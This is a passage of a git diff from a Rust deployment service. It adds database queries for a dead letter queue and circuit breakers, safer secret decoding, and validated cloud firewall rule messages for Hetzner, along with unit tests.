+    .map_err(|e| format!("Failed to upsert server secret metadata: {}", e))
+}
+
+pub async fn delete_secret_by_id(pool: &PgPool, id: i32) -> Result<bool, String> {
+    let deleted = sqlx::query("DELETE FROM remote_secret WHERE id = $1")
+        .bind(id)
+        .execute(pool)
+        .await
+        .map_err(|e| format!("Failed to delete secret metadata: {}", e))?
+        .rows_affected();
+
+    Ok(deleted > 0)
+}
+
+pub async fn count_by_scope(pool: &PgPool, scope: &str) -> Result<i64, String> {
+    sqlx::query("SELECT COUNT(*) AS count FROM remote_secret WHERE scope = $1")
+        .bind(scope)
+        .fetch_one(pool)
+        .await
+        .map(|row| row.get::<i64, _>("count"))
+        .map_err(|e| format!("Failed to count remote secrets: {}", e))
+}
diff --git a/src/db/resilience.rs b/src/db/resilience.rs
new file mode 100644
index 00000000..53f2ca61
--- /dev/null
+++ b/src/db/resilience.rs
@@ -0,0 +1,272 @@
+use crate::models::resilience::{CircuitBreaker, DeadLetterEntry};
+use sqlx::PgPool;
+use tracing::Instrument;
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Dead Letter Queue queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Insert DLQ entry", skip(pool))]
+pub async fn insert_dlq_entry(
+    pool: &PgPool,
+    entry: &DeadLetterEntry,
+) -> Result<DeadLetterEntry, String> {
+    let span = tracing::info_span!("Saving DLQ entry to database");
+    sqlx::query_as::<_, DeadLetterEntry>(
+        r#"
+        INSERT INTO dead_letter_queue (
+            id, pipe_instance_id, pipe_execution_id, dag_step_id,
+            payload, error, retry_count, max_retries, next_retry_at,
+            status, created_by, created_at, updated_at
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)
+        RETURNING *
+        "#,
+    )
+    .bind(entry.id)
+    .bind(entry.pipe_instance_id)
+    .bind(entry.pipe_execution_id)
+    .bind(entry.dag_step_id)
+    .bind(&entry.payload)
+    .bind(&entry.error)
+    .bind(entry.retry_count)
+    .bind(entry.max_retries)
+    .bind(entry.next_retry_at)
+    .bind(&entry.status)
+    .bind(&entry.created_by)
+    .bind(entry.created_at)
+    .bind(entry.updated_at)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to insert DLQ entry: {}", e))
+}
+
+#[tracing::instrument(name = "List DLQ entries", skip(pool))]
+pub async fn list_dlq_entries(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+) -> Result<Vec<DeadLetterEntry>, String> {
+    let span = tracing::info_span!("Listing DLQ entries");
+    sqlx::query_as::<_, DeadLetterEntry>(
+        r#"
+        SELECT * FROM dead_letter_queue
+        WHERE pipe_instance_id = $1 AND status NOT IN ('discarded', 'resolved')
+        ORDER BY created_at DESC
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .fetch_all(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to list DLQ entries: {}", e))
+}
+
+#[tracing::instrument(name = "Get DLQ entry", skip(pool))]
+pub async fn get_dlq_entry(
+    pool: &PgPool,
+    entry_id: &Uuid,
+) -> Result<Option<DeadLetterEntry>, String> {
+    let span = tracing::info_span!("Fetching DLQ entry");
+    sqlx::query_as::<_, DeadLetterEntry>(r#"SELECT * FROM dead_letter_queue WHERE id = $1"#)
+        .bind(entry_id)
+        .fetch_optional(pool)
+        .instrument(span)
+        .await
+        .map_err(|e| format!("Failed to get DLQ entry: {}", e))
+}
+
+#[tracing::instrument(name = "Retry DLQ entry", skip(pool))]
+pub async fn retry_dlq_entry(pool: &PgPool, entry_id: &Uuid) -> Result<DeadLetterEntry, String> {
+    let span = tracing::info_span!("Retrying DLQ entry");
+    // Increment retry_count; if retry_count >= max_retries, set status = 'exhausted'
+    sqlx::query_as::<_, DeadLetterEntry>(
+        r#"
+        UPDATE dead_letter_queue
+        SET retry_count = retry_count + 1,
+            status = CASE
+                WHEN retry_count + 1 >= max_retries THEN 'exhausted'
+                ELSE 'retrying'
+            END,
+            next_retry_at = NOW() + (POWER(2, retry_count) || ' seconds')::INTERVAL,
+            updated_at = NOW()
+        WHERE id = $1
+        RETURNING *
+        "#,
+    )
+    .bind(entry_id)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to retry DLQ entry: {}", e))
+}
+
+#[tracing::instrument(name = "Discard DLQ entry", skip(pool))]
+pub async fn discard_dlq_entry(pool: &PgPool, entry_id: &Uuid) -> Result<(), String> {
+    let span = tracing::info_span!("Discarding DLQ entry");
+    sqlx::query(
+        r#"UPDATE dead_letter_queue SET status = 'discarded', updated_at = NOW() WHERE id = $1"#,
+    )
+    .bind(entry_id)
+    .execute(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to discard DLQ entry: {}", e))?;
+    Ok(())
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Circuit Breaker queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Get or create circuit breaker for a pipe instance
+#[tracing::instrument(name = "Get or create circuit breaker", skip(pool))]
+pub async fn get_or_create_circuit_breaker(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+) -> Result<CircuitBreaker, String> {
+    let span = tracing::info_span!("Get or create circuit breaker");
+    sqlx::query_as::<_, CircuitBreaker>(
+        r#"
+        INSERT INTO circuit_breakers (id, pipe_instance_id)
+        VALUES (gen_random_uuid(), $1)
+        ON CONFLICT (pipe_instance_id) DO UPDATE SET updated_at = NOW()
+        RETURNING *
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to get/create circuit breaker: {}", e))
+}
+
+#[tracing::instrument(name = "Update circuit breaker config", skip(pool))]
+pub async fn update_circuit_breaker_config(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+    failure_threshold: i32,
+    recovery_timeout_seconds: i32,
+    half_open_max_requests: i32,
+) -> Result<CircuitBreaker, String> {
+    let span = tracing::info_span!("Updating circuit breaker config");
+    sqlx::query_as::<_, CircuitBreaker>(
+        r#"
+        INSERT INTO circuit_breakers (id, pipe_instance_id, failure_threshold, recovery_timeout_seconds, half_open_max_requests)
+        VALUES (gen_random_uuid(), $1, $2, $3, $4)
+        ON CONFLICT (pipe_instance_id) DO UPDATE SET
+            failure_threshold = EXCLUDED.failure_threshold,
+            recovery_timeout_seconds = EXCLUDED.recovery_timeout_seconds,
+            half_open_max_requests = EXCLUDED.half_open_max_requests,
+            updated_at = NOW()
+        RETURNING *
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .bind(failure_threshold)
+    .bind(recovery_timeout_seconds)
+    .bind(half_open_max_requests)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to update circuit breaker config: {}", e))
+}
+
+/// Record a failure — increment failure_count, open circuit if threshold reached
+#[tracing::instrument(name = "Record circuit breaker failure", skip(pool))]
+pub async fn record_circuit_breaker_failure(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+) -> Result<CircuitBreaker, String> {
+    let span = tracing::info_span!("Recording circuit breaker failure");
+    // First ensure circuit breaker exists
+    let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?;
+
+    sqlx::query_as::<_, CircuitBreaker>(
+        r#"
+        UPDATE circuit_breakers
+        SET failure_count = failure_count + 1,
+            last_failure_at = NOW(),
+            state = CASE
+                WHEN failure_count + 1 >= failure_threshold THEN 'open'
+                ELSE state
+            END,
+            opened_at = CASE
+                WHEN failure_count + 1 >= failure_threshold AND state != 'open' THEN NOW()
+                ELSE opened_at
+            END,
+            updated_at = NOW()
+        WHERE pipe_instance_id = $1
+        RETURNING *
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to record circuit breaker failure: {}", e))
+}
+
+/// Record a success — reset failure_count in closed/half_open states
+#[tracing::instrument(name = "Record circuit breaker success", skip(pool))]
+pub async fn record_circuit_breaker_success(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+) -> Result<CircuitBreaker, String> {
+    let span = tracing::info_span!("Recording circuit breaker success");
+    let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?;
+
+    sqlx::query_as::<_, CircuitBreaker>(
+        r#"
+        UPDATE circuit_breakers
+        SET failure_count = 0,
+            success_count = success_count + 1,
+            state = CASE
+                WHEN state = 'half_open' THEN 'closed'
+                ELSE state
+            END,
+            opened_at = CASE
+                WHEN state = 'half_open' THEN NULL
+                ELSE opened_at
+            END,
+            updated_at = NOW()
+        WHERE pipe_instance_id = $1
+        RETURNING *
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to record circuit breaker success: {}", e))
+}
+
+/// Reset circuit breaker to closed state
+#[tracing::instrument(name = "Reset circuit breaker", skip(pool))]
+pub async fn reset_circuit_breaker(
+    pool: &PgPool,
+    pipe_instance_id: &Uuid,
+) -> Result<CircuitBreaker, String> {
+    let span = tracing::info_span!("Resetting circuit breaker");
+    let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?;
+
+    sqlx::query_as::<_, CircuitBreaker>(
+        r#"
+        UPDATE circuit_breakers
+        SET state = 'closed',
+            failure_count = 0,
+            success_count = 0,
+            opened_at = NULL,
+            last_failure_at = NULL,
+            updated_at = NOW()
+        WHERE pipe_instance_id = $1
+        RETURNING *
+        "#,
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|e| format!("Failed to reset circuit breaker: {}", e))
+}
diff --git a/src/forms/cloud.rs b/src/forms/cloud.rs
index 0aece97b..8b016c3f 100644
--- a/src/forms/cloud.rs
+++ b/src/forms/cloud.rs
@@ -30,7 +30,13 @@ impl CloudForm {
     #[tracing::instrument(name = "impl CloudForm::decode()", skip_all)]
     pub(crate) fn decode(secret: &mut Secret, encrypted_value: String) -> String {
         // tracing::error!("encrypted_value {:?}", &encrypted_value);
-        let b64_decoded = Secret::b64_decode(&encrypted_value).unwrap();
+        let b64_decoded = match Secret::b64_decode(&encrypted_value) {
+            Ok(decoded) => decoded,
+            Err(err) => {
+                tracing::error!("🟥 Could not decode {:?},{:?}", secret.field, err);
+                return "".to_owned();
+            }
+        };
         // tracing::error!("decoded {:?}", &b64_decoded);
         match secret.decrypt(b64_decoded) {
             Ok(decoded) => decoded,
@@ -198,3 +204,18 @@ impl Into<CloudForm> for models::Cloud {
         form
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn cloud_form_decode_invalid_base64_returns_empty() {
+        let mut secret = Secret::new();
+        secret.field = "cloud_token".to_string();
+
+        let decoded = CloudForm::decode(&mut secret, "not-valid-base64".to_string());
+
+        assert_eq!(decoded, "");
+    }
+}
diff --git a/src/forms/cloud_firewall.rs b/src/forms/cloud_firewall.rs
new file mode 100644
index 00000000..0574b2f9
--- /dev/null
+++ b/src/forms/cloud_firewall.rs
@@ -0,0 +1,490 @@
+use std::collections::BTreeMap;
+use std::fmt;
+
+use serde::{Deserialize, Serialize};
+
+use crate::forms::firewall::{validate_rule, FirewallPortRule, FirewallRuleDirection};
+
+pub const CLOUD_FIREWALL_PROTOCOL_VERSION: &str = "stacker.cloud_firewall.v1";
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+#[serde(rename_all = "lowercase")]
+pub enum CloudFirewallAction {
+    Add,
+    Remove,
+    List,
+}
+
+impl CloudFirewallAction {
+    pub fn as_str(&self) -> &'static str {
+        match self {
+            Self::Add => "add",
+            Self::Remove => "remove",
+            Self::List => "list",
+        }
+    }
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct ConfigureCloudFirewallRequest {
+    #[serde(default)]
+    pub action: Option<CloudFirewallAction>,
+    #[serde(default)]
+    pub public_ports: Vec<FirewallPortRule>,
+    #[serde(default)]
+    pub private_ports: Vec<FirewallPortRule>,
+    #[serde(default)]
+    pub dry_run: bool,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct ConfigureCloudFirewallResponse {
+    pub operation_id: String,
+    pub accepted: bool,
+    pub protocol_version: String,
+    pub provider: String,
+    pub server_id: i32,
+    pub action: CloudFirewallAction,
+    pub rules: Vec<CloudFirewallRule>,
+    pub routing_key: String,
+    pub message: String,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub firewall_name: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub firewall: Option<CloudFirewallDetails>,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallDetails {
+    pub id: Option<i64>,
+    pub name: String,
+    #[serde(default)]
+    pub rules: Vec<CloudFirewallProviderRule>,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallProviderRule {
+    pub direction: String,
+    pub protocol: String,
+    pub port: String,
+    #[serde(default)]
+    pub source_ips: Vec<String>,
+    #[serde(default)]
+    pub destination_ips: Vec<String>,
+    #[serde(default)]
+    pub description: Option<String>,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallRule {
+    pub direction: FirewallRuleDirection,
+    pub port: u16,
+    pub protocol: String,
+    pub source: String,
+    #[serde(default)]
+    pub comment: Option<String>,
+    pub managed_by: String,
+    pub managed_scope: String,
+    #[serde(default)]
+    pub labels: BTreeMap<String, String>,
+}
+
+impl CloudFirewallRule {
+    pub fn from_port_rule(
+        rule: FirewallPortRule,
+        direction: FirewallRuleDirection,
+        managed_scope: impl Into<String>,
+    ) -> Self {
+        Self {
+            direction,
+            port: rule.port,
+            protocol: rule.protocol,
+            source: rule.source,
+            comment: rule.comment,
+            managed_by: "stacker".to_string(),
+            managed_scope: managed_scope.into(),
+            labels: BTreeMap::new(),
+        }
+    }
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallTarget {
+    pub provider: String,
+    pub cloud_id: i32,
+    pub server_id: i32,
+    pub project_id: i32,
+    #[serde(default)]
+    pub deployment_hash: Option<String>,
+    pub server_public_ip: String,
+    #[serde(default)]
+    pub provider_server_id: Option<String>,
+    #[serde(default)]
+    pub server_name: Option<String>,
+    #[serde(default)]
+    pub region: Option<String>,
+    #[serde(default)]
+    pub zone: Option<String>,
+    #[serde(default)]
+    pub firewall_id: Option<String>,
+    #[serde(default)]
+    pub firewall_name: Option<String>,
+}
+
+#[derive(Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallCredentials {
+    pub provider: String,
+    #[serde(default)]
+    pub token: Option<String>,
+    #[serde(default)]
+    pub key: Option<String>,
+    #[serde(default)]
+    pub secret: Option<String>,
+}
+
+impl fmt::Debug for CloudFirewallCredentials {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter
+            .debug_struct("CloudFirewallCredentials")
+            .field("provider", &self.provider)
+            .field("token", &self.token.as_ref().map(|_| "[REDACTED]"))
+            .field("key", &self.key.as_ref().map(|_| "[REDACTED]"))
+            .field("secret", &self.secret.as_ref().map(|_| "[REDACTED]"))
+            .finish()
+    }
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallOperationMessage {
+    pub protocol_version: String,
+    pub operation_id: String,
+    pub idempotency_key: String,
+    pub action: CloudFirewallAction,
+    pub dry_run: bool,
+    pub target: CloudFirewallTarget,
+    pub rules: Vec<CloudFirewallRule>,
+    pub credentials: CloudFirewallCredentials,
+    #[serde(default)]
+    pub provider_context: BTreeMap<String, serde_json::Value>,
+    pub requested_by: CloudFirewallRequestedBy,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct CloudFirewallRequestedBy {
+    pub user_id: String,
+    #[serde(default)]
+    pub user_email: Option<String>,
+}
+
+pub fn rules_from_request(
+    request: &ConfigureCloudFirewallRequest,
+    managed_scope: impl Into<String>,
+) -> Result<Vec<CloudFirewallRule>, String> {
+    let managed_scope = managed_scope.into();
+    let mut rules = Vec::new();
+
+    for rule in &request.public_ports {
+        validate_rule(rule)?;
+        rules.push(CloudFirewallRule::from_port_rule(
+            rule.clone(),
+            FirewallRuleDirection::Inbound,
+            managed_scope.clone(),
+        ));
+    }
+
+    for rule in &request.private_ports {
+        validate_rule(rule)?;
+        rules.push(CloudFirewallRule::from_port_rule(
+            rule.clone(),
+            FirewallRuleDirection::Inbound,
+            managed_scope.clone(),
+        ));
+    }
+
+    Ok(rules)
+}
+
+pub fn validate_request(
+    request: &ConfigureCloudFirewallRequest,
+) -> Result<CloudFirewallAction, String> {
+    let action = request.action.clone().unwrap_or(CloudFirewallAction::Add);
+    if matches!(
+        action,
+        CloudFirewallAction::Add | CloudFirewallAction::Remove
+    ) && request.public_ports.is_empty()
+        && request.private_ports.is_empty()
+    {
+        return Err("at least one public or private port is required".to_string());
+    }
+
+    for rule in request
+        .public_ports
+        .iter()
+        .chain(request.private_ports.iter())
+    {
+        validate_rule(rule)?;
+    }
+
+    Ok(action)
+}
+
+pub fn normalize_provider(provider: &str) -> Option<&'static str> {
+    match provider.trim().to_ascii_lowercase().as_str() {
+        "htz" | "hetzner" | "hetzner_cloud" | "hcloud" => Some("htz"),
+        _ => None,
+    }
+}
+
+pub fn routing_key(provider: &str) -> Option<String> {
+    normalize_provider(provider).map(|provider| format!("install.firewall.{}.v1", provider))
+}
+
+pub fn idempotency_key(
+    server_id: i32,
+    action: &CloudFirewallAction,
+    rules: &[CloudFirewallRule],
+) -> String {
+    let mut parts: Vec<String> = rules
+        .iter()
+        .map(|rule| {
+            format!(
+                "{}:{}:{}:{}:{}",
+                rule.direction.as_str(),
+                rule.protocol,
+                rule.port,
+                rule.source,
+                rule.managed_scope
+            )
+        })
+        .collect();
+    parts.sort();
+    format!(
+        "server:{}:{}:{}",
+        server_id,
+        action.as_str(),
+        parts.join("|")
+    )
+}
+
+pub fn default_firewall_name(target: &CloudFirewallTarget) -> String {
+    target
+        .firewall_name
+        .clone()
+        .or_else(|| {
+            target
+                .server_name
+                .clone()
+                .map(|name| format!("frw-{}", name))
+        })
+        .unwrap_or_else(|| format!("frw-server-{}", target.server_id))
+}
+
+/// Publish cloud firewall add rules for a set of public ports.
+///
+/// Intended for automatic firewall configuration triggered from:
+/// - `execute_deployment` (when the server already has an IP)
+/// - the MQ listener (when a new deployment transitions to "completed")
+///
+/// This is a lighter version of the manual route at `routes/server/cloud_firewall.rs`
+/// — it skips the live cloud-provider firewall listing/attachment and just publishes
+/// the operation, letting the Install Service handle firewall resolution.
+pub async fn publish_public_firewall_rules(
+    mq_manager: &crate::helpers::MqManager,
+    server: &crate::models::Server,
+    cloud: &crate::models::Cloud,
+    public_ports: &[String],
+    deployment_hash: &str,
+    user_id: &str,
+) -> Result<ConfigureCloudFirewallResponse, String> {
+    let provider = normalize_provider(&cloud.provider)
+        .ok_or_else(|| format!("Unsupported cloud provider: {}", cloud.provider))?;
+    let routing_key = routing_key(&cloud.provider)
+        .ok_or_else(|| format!("Unsupported cloud provider: {}", cloud.provider))?;
+
+    let cloud = if cloud.save_token == Some(true) {
+        crate::forms::CloudForm::decode_model(cloud.clone(), true)
+    } else {
+        cloud.clone()
+    };
+
+    let credentials = CloudFirewallCredentials {
+        provider: provider.to_string(),
+        token: cloud.cloud_token.clone().filter(|t| !t.trim().is_empty()),
+        key: cloud.cloud_key.clone().filter(|k| !k.trim().is_empty()),
+        secret: cloud.cloud_secret.clone().filter(|s| !s.trim().is_empty()),
+    };
+
+    let mut rules = parse_public_ports_to_firewall_rules(public_ports, server.id)?;
+
+    let target = CloudFirewallTarget {
+        provider: provider.to_string(),
+        cloud_id: cloud.id,
+        server_id: server.id,
+        project_id: server.project_id,
+        deployment_hash: Some(deployment_hash.to_string()),
+        server_public_ip: server.srv_ip.clone().unwrap_or_default(),
+        provider_server_id: None,
+        server_name: server.name.clone().or_else(|| server.server.clone()),
+        region: server.region.clone(),
+        zone: server.zone.clone(),
+        firewall_id: None,
+        firewall_name: Some(default_firewall_name(&CloudFirewallTarget {
+            provider: provider.to_string(),
+            cloud_id: cloud.id,
+            server_id: server.id,
+            project_id: server.project_id,
+            deployment_hash: Some(deployment_hash.to_string()),
+            server_public_ip: String::new(),
+            provider_server_id: None,
+            server_name: server.name.clone().or_else(|| server.server.clone()),
+            region: server.region.clone(),
+            zone: server.zone.clone(),
+            firewall_id: None,
+            firewall_name: None,
+        })),
+    };
+
+    let operation_id = format!("cfw_auto_{}", uuid::Uuid::new_v4());
+    for rule in &mut rules {
+        rule.labels
+            .insert("stacker.operation_id".to_string(), operation_id.clone());
+    }
+
+    let message = CloudFirewallOperationMessage {
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        operation_id: operation_id.clone(),
+        idempotency_key: idempotency_key(server.id, &CloudFirewallAction::Add, &rules),
+        action: CloudFirewallAction::Add,
+        dry_run: false,
+        target,
+        rules,
+        credentials,
+        provider_context: BTreeMap::new(),
+        requested_by: CloudFirewallRequestedBy {
+            user_id: user_id.to_string(),
+            user_email: None,
+        },
+    };
+
+    mq_manager
+        .publish("install".to_string(), routing_key.clone(), &message)
+        .await
+        .map_err(|e| format!("Failed to publish cloud firewall message: {}", e))?;
+
+    Ok(ConfigureCloudFirewallResponse {
+        operation_id,
+        accepted: true,
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        provider: provider.to_string(),
+        server_id: server.id,
+        action: CloudFirewallAction::Add,
+        rules: Vec::new(),
+        routing_key,
+        message: "Cloud firewall auto-configuration accepted".to_string(),
+        firewall_name: None,
+        firewall: None,
+    })
+}
+
+/// Parse port strings like "8000", "53/tcp", "53/udp" into cloud firewall rules.
+fn parse_public_ports_to_firewall_rules(
+    ports: &[String],
+    server_id: i32,
+) -> Result<Vec<CloudFirewallRule>, String> {
+    let managed_scope = format!("server:{}", server_id);
+    ports
+        .iter()
+        .map(|p| {
+            let rule = crate::forms::firewall::parse_public_port(p)?;
+            Ok(CloudFirewallRule::from_port_rule(
+                rule,
+                FirewallRuleDirection::Inbound,
+                managed_scope.clone(),
+            ))
+        })
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn cloud_firewall_message_round_trips() {
+        let rule = CloudFirewallRule::from_port_rule(
+            FirewallPortRule {
+                port: 8000,
+                protocol: "tcp".to_string(),
+                source: "0.0.0.0/0".to_string(),
+                comment: Some("Stacker public port 8000/tcp".to_string()),
+            },
+            FirewallRuleDirection::Inbound,
+            "server:42",
+        );
+        let message = CloudFirewallOperationMessage {
+            protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+            operation_id: "cfw_test".to_string(),
+            idempotency_key: "server:42:add:inbound:tcp:8000:0.0.0.0/0".to_string(),
+            action: CloudFirewallAction::Add,
+            dry_run: false,
+            target: CloudFirewallTarget {
+                provider: "htz".to_string(),
+                cloud_id: 7,
+                server_id: 42,
+                project_id: 9,
+                deployment_hash: Some("deployment_test".to_string()),
+                server_public_ip: "203.0.113.10".to_string(),
+                provider_server_id: None,
+                server_name: Some("coolify".to_string()),
+                region: Some("fsn1".to_string()),
+                zone: None,
+                firewall_id: None,
+                firewall_name: Some("frw-coolify".to_string()),
+            },
+            rules: vec![rule],
+            credentials: CloudFirewallCredentials {
+                provider: "htz".to_string(),
+                token: Some("secret-token".to_string()),
+                key: None,
+                secret: None,
+            },
+            provider_context: BTreeMap::new(),
+            requested_by: CloudFirewallRequestedBy {
+                user_id: "user-1".to_string(),
+                user_email: Some("user@example.com".to_string()),
+            },
+        };
+
+        let json = serde_json::to_string(&message).expect("message should serialize");
+        let decoded: CloudFirewallOperationMessage =
+            serde_json::from_str(&json).expect("message should deserialize");
+
+        assert_eq!(decoded.protocol_version, CLOUD_FIREWALL_PROTOCOL_VERSION);
+        assert_eq!(decoded.target.provider, "htz");
+        assert_eq!(decoded.rules[0].port, 8000);
+        assert_eq!(decoded.rules[0].managed_by, "stacker");
+    }
+
+    #[test]
+    fn cloud_firewall_credentials_debug_redacts_secrets() {
+        let credentials = CloudFirewallCredentials {
+            provider: "htz".to_string(),
+            token: Some("secret-token".to_string()),
+            key: Some("key".to_string()),
+            secret: Some("secret".to_string()),
+        };
+        let debug = format!("{:?}", credentials);
+
+        assert!(debug.contains("[REDACTED]"));
+        assert!(!debug.contains("secret-token"));
+    }
+
+    #[test]
+    fn cloud_firewall_routing_key_normalizes_hetzner() {
+        assert_eq!(
+            routing_key("hetzner"),
+            Some("install.firewall.htz.v1".to_string())
+        );
+        assert_eq!(routing_key("unknown"), None);
+    }
+}
diff --git a/src/forms/firewall.rs b/src/forms/firewall.rs
new file mode 100644
index 00000000..3587c80c
--- /dev/null
+++ b/src/forms/firewall.rs
@@ -0,0 +1,192 @@
+use std::net::IpAddr;
+
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+pub struct FirewallPortRule {
+    pub port: u16,
+    #[serde(default = "default_firewall_protocol")]
+    pub protocol: String,
+    #[serde(default = "default_firewall_source")]
+    pub source: String,
+    #[serde(default)]
+    pub comment: Option<String>,
+}
+
+#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)]
+#[serde(rename_all = "lowercase")]
+pub enum FirewallRuleDirection {
+    Inbound,
+    Outbound,
+}
+
+impl FirewallRuleDirection {
+    pub fn as_str(&self) -> &'static str {
+        match self {
+            Self::Inbound => "inbound",
+            Self::Outbound => "outbound",
+        }
+    }
+}
+
+pub fn default_firewall_protocol() -> String {
+    "tcp".to_string()
+}
+
+pub fn default_firewall_source() -> String {
+    "0.0.0.0/0".to_string()
+}
+
+pub fn parse_public_port(input: &str) -> Result<FirewallPortRule, String> {
+    let (port, protocol) = parse_port_proto(input)?;
+    let rule = FirewallPortRule {
+        port,
+        protocol,
+        source: default_firewall_source(),
+        comment: None,
+    };
+    validate_rule(&rule)?;
+    Ok(rule)
+}
+
+/// Normalize a public port spec into its canonical `port/protocol` form.
+///
+/// Accepts bare numbers ("8000") and suffixed forms ("8000/tcp", "53/udp"),
+/// validates them, and returns the canonical string ("8000/tcp", "53/udp").
+/// This guarantees downstream consumers (Install Service, cloud-provider
+/// firewall APIs) always receive a fully-qualified port/protocol pair instead
+/// of silently dropping bare port numbers.
+pub fn normalize_public_port(input: &str) -> Result<String, String> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return Err("public port cannot be empty".to_string());
+    }
+    let rule = parse_public_port(trimmed)?;
+    Ok(format!("{}/{}", rule.port, rule.protocol))
+}
+
+pub fn parse_private_port(input: &str) -> Result<FirewallPortRule, String> {
+    let (port_proto, source) = input.split_once(':').ok_or_else(|| {
+        format!(
+            "Invalid private port '{}'. Expected format: port[/proto]:source",
+            input
+        )
+    })?;
+    if source.trim().is_empty() {
+        return Err(format!(
+            "Invalid private port '{}'. Source CIDR is required",
+            input
+        ));
+    }
+
+    let (port, protocol) = parse_port_proto(port_proto)?;
+    let rule = FirewallPortRule {
+        port,
+        protocol,
+        source: source.to_string(),
+        comment: None,
+    };
+    validate_rule(&rule)?;
+    Ok(rule)
+}
+
+pub fn validate_rule(rule: &FirewallPortRule) -> Result<(), String> {
+    if rule.port == 0 {
+        return Err("port must be > 0".to_string());
+    }
+    if !matches!(rule.protocol.as_str(), "tcp" | "udp") {
+        return Err("protocol must be one of: tcp, udp".to_string());
+    }
+    validate_cidr(&rule.source)?;
+    Ok(())
+}
+
+fn parse_port_proto(input: &str) -> Result<(u16, String), String> {
+    let (port, protocol) = input
+        .split_once('/')
+        .map(|(port, protocol)| (port, protocol))
+        .unwrap_or((input, "tcp"));
+    let port = port
+        .parse::<u16>()
+        .map_err(|_| format!("Invalid port number: {}", port))?;
+    Ok((port, protocol.to_string()))
+}
+
+fn validate_cidr(input: &str) -> Result<(), String> {
+    let (ip, prefix) = input
+        .split_once('/')
+        .ok_or_else(|| format!("source must be a CIDR range: {}", input))?;
+    let ip: IpAddr = ip
+        .parse()
+        .map_err(|_| format!("source IP is invalid: {}", input))?;
+    let prefix = prefix
+        .parse::<u8>()
+        .map_err(|_| format!("source CIDR prefix is invalid: {}", input))?;
+    let max_prefix = match ip {
+        IpAddr::V4(_) => 32,
+        IpAddr::V6(_) => 128,
+    };
+    if prefix > max_prefix {
+        return Err(format!("source CIDR prefix is invalid: {}", input));
+    }
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn parse_public_port_defaults_tcp_and_public_source() {
+        let rule = parse_public_port("8000").expect("port should parse");
+
+        assert_eq!(rule.port, 8000);
+        assert_eq!(rule.protocol, "tcp");
+        assert_eq!(rule.source, "0.0.0.0/0");
+    }
+
+    #[test]
+    fn parse_public_port_accepts_udp() {
+        let rule = parse_public_port("53/udp").expect("udp port should parse");
+
+        assert_eq!(rule.port, 53);
+        assert_eq!(rule.protocol, "udp");
+    }
+
+    #[test]
+    fn normalize_public_port_adds_tcp_suffix_to_bare_port() {
+        assert_eq!(normalize_public_port("8000").unwrap(), "8000/tcp");
+        assert_eq!(normalize_public_port(" 80 ").unwrap(), "80/tcp");
+    }
+
+    #[test]
